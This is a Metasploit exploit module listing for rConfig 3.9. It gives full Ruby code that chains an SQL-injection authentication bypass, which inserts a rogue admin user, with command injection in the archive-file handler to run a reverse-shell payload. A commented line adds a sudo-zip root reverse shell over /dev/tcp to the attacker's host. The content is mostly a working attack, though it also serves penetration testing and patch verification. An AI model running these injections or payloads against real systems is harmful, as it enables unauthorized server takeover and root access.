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Rconfig 3.x Chained Remote Code Execution

2020-03-12T10:41:12
ID MSF:EXPLOIT/LINUX/HTTP/RCONFIG_AJAXARCHIVEFILES_RCE
Type metasploit
Reporter Rapid7
Modified 2020-03-13T09:42:40

Description

This module exploits multiple vulnerabilities in rConfig version 3.9 in order to execute arbitrary commands. This module takes advantage of a command injection vulnerability in the path parameter of the ajax archive file functionality within the rConfig web interface in order to execute the payload. Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via SQLI. This module has been successfully tested on Rconfig 3.9.3 and 3.9.4. The steps are: 1. SQLi on /commands.inc.php allows us to add an administrative user. 2. An authenticated session is established with the newly added user 3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to execute the payload. 4. Remove the added admin user. Tips : once you get a shell, look at the CVE-2019-19585. You will probably get root because rConfig install script add Apache user to sudoers with nopasswd ;-)

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'Rconfig 3.x Chained Remote Code Execution',
                      'Description' => '
        This module exploits multiple vulnerabilities in rConfig version 3.9
        in order to execute arbitrary commands.
        This module takes advantage of a command injection vulnerability in the
        `path` parameter of the ajax archive file functionality within the rConfig web
        interface in order to execute the payload.
        Valid credentials for a user with administrative privileges are required.
        However, this module can bypass authentication via SQLI.
        This module has been successfully tested on Rconfig 3.9.3 and 3.9.4.
        The steps are:
          1. SQLi on /commands.inc.php allows us to add an administrative user.
          2. An authenticated session is established with the newly added user
          3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to
             execute the payload.
          4. Remove the added admin user.
        Tips : once you get a shell, look at the CVE-2019-19585.
        You will probably get root because rConfig install script add Apache user to
        sudoers with nopasswd ;-)
      ',
                      'License'         => MSF_LICENSE,
                      'Author'          =>
        [
          'Jean-Pascal Thomas', # @vikingfr - Discovery, exploit and Metasploit module
          'Orange Cyberdefense' # Module tests - greetz : CSR-SO team (https://cyberdefense.orange.com/)
        ],
                      'References'      =>
        [
          ['CVE', '2019-19509'], # authenticated rce
          ['CVE', '2020-10220'], # sqli auth bypass
          %w[EDB 47982],
          %w[EDB 48208],
          ['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py'], # authenticated RCE
          ['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py']  # unauthenticated SQLi
        ],
                      'Platform'        => %w[unix linux],
                      'Arch'            => ARCH_CMD,
                      'Targets'         => [['Auto', {}]],
                      'Privileged'      => false,
                      'DisclosureDate'  => '2020-03-11',
                      'DefaultOptions'  => {
                        'RPORT' => 443,
                        'SSL'     => true, # HTTPS is required for the module to work because the rConfig php code handle http to https redirects
                        'PAYLOAD' => 'generic/shell_reverse_tcp'
                      },
                      'DefaultTarget' => 0))
    register_options [
      OptString.new('TARGETURI', [true, 'Base path to Rconfig', '/'])
    ]
  end

  # CHECK IF RCONFIG IS REACHABLE AND INSTALLED
  def check
    vprint_status 'STEP 0: Get rConfig version...'
    res = send_request_cgi!(
      'method' => 'GET',
      'uri' => '/login.php'
    )
    if !res || !res.get_html_document
      fail_with(Failure::Unknown, 'Could not check rConfig version')
    end
    if res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig Version 3.9'
      print_good('rConfig version 3.9 detected')
      return Exploit::CheckCode::Appears
    elsif res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig'
      print_status('rConfig detected, but not version 3.9')
      return Exploit::CheckCode::Detected
    end
  end

  # CREATE AN ADMIN USER IN RCONFIG
  def create_rconfig_user(user, _password)
    vprint_status 'STEP 1 : Adding a temporary admin user...'
    fake_id = Rex::Text.rand_text_numeric(3)
    fake_pass = Rex::Text.rand_text_alpha(10)
    fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin'
    fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d'
    userleveladmin = 9 # Administrator
    user_sqli = "command ; INSERT INTO `users` (`id`,`username`,`password`,`userid`,`userlevel`,`email`,`timestamp`,`status`) VALUES (#{fake_id},'#{user}','#{fake_pass_md5}','#{fake_userid_md5}',#{userleveladmin}, '#{user}@domain.com', 1346920339, 1);--"
    sqli_res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),
      'method' => 'GET',
      'vars_get' => {
        'search' => 'search',
        'searchOption' => 'contains',
        'searchField'  => 'vuln',
        'searchColumn' => user_sqli
      }
    )
    unless sqli_res
      print_warning('Failed to create user: Connection failed.')
      return
    end
    print_good "New temporary user #{user} created"
  end

  # AUTHENTICATE ON RCONFIG
  def login(user, pass)
    vprint_status "STEP 2: Authenticating as #{user} ..."
    # get session cookie (PHPSESSID)
    res = send_request_cgi!(
      'method' => 'GET',
      'uri' => '/login.php'
    )
    @cookie = res.get_cookies
    if @cookie.empty?
      fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
      return
    end
    # authenticate
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/lib/crud/userprocess.php'),
      'cookie' => @cookie,
      'vars_post' => {
        pass: pass,
        user: user,
        sublogin: 1
      }
    )
    unless res
      print_warning('Failed to authenticate: Connection failed.')
      return
    end
    print_good "Authenticated as user #{user}"
  end

  def trigger_rce(cmd, _opts = {})
    vprint_status "STEP 3: Executing the command (#{cmd})"
    trigger = "`#{cmd} #`"
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxArchiveFiles.php'),
      'cookie' => @cookie,
      'vars_get' => {
        'path' => trigger,
        'ext' => 'random'
      }
    )
    # the page hangs because of the command being executed, so we can't expect HTTP response
    # unless res
    #  fail_with Failure::Unreachable, 'Remote Code Execution failed: Connection failed'
    #  return
    # end
    # unless res.body.include? '"success":true'
    #  fail_with Failure::Unknown, 'It seems that the code was not executed'
    #  return
    # end
    print_good 'Command sucessfully executed'
  end

  # DELETE A USER
  def delete_rconfig_user(user)
    vprint_status 'STEP 4 : Removing the temporary admin user...'
    del_sqli = "command ; DELETE FROM `users` WHERE `username`='#{user}';--"
    del_res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),
      'method' => 'GET',
      'vars_get' => {
        'search' => 'search',
        'searchOption' => 'contains',
        'searchField'  => 'vuln',
        'searchColumn' => del_sqli
      }
    )
    unless del_res
      print_warning "Removing user #{user} failed: Connection failed. Please remove it manually."
      return
    end
    print_status "User #{user} removed successfully !"
  end

  def cleanup
    super
    delete_rconfig_user @username if @username
  end

  def exploit
    check
    @username = rand_text_alphanumeric(8..12)
    @password = 'admin'
    create_res = create_rconfig_user @username, @password
    login(@username, @password)
    tmp_txt_file = Rex::Text.rand_text_alpha(10)
    tmp_zip_file = Rex::Text.rand_text_alpha(10)
    # The following payload (cf. 2019-19585) can be used to get root rev shell, but some payloads failed to execute (ex : because of quotes stuffs). Too bad :-(
    # trigger_rce("touch /tmp/#{tmp_txt_file}.txt;sudo zip -q /tmp/#{tmp_zip_file}.zip /tmp/#{tmp_txt_file}.txt -T -TT '/bin/sh -i>& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 #'")
    trigger_rce(payload.encoded.to_s)
  end
end
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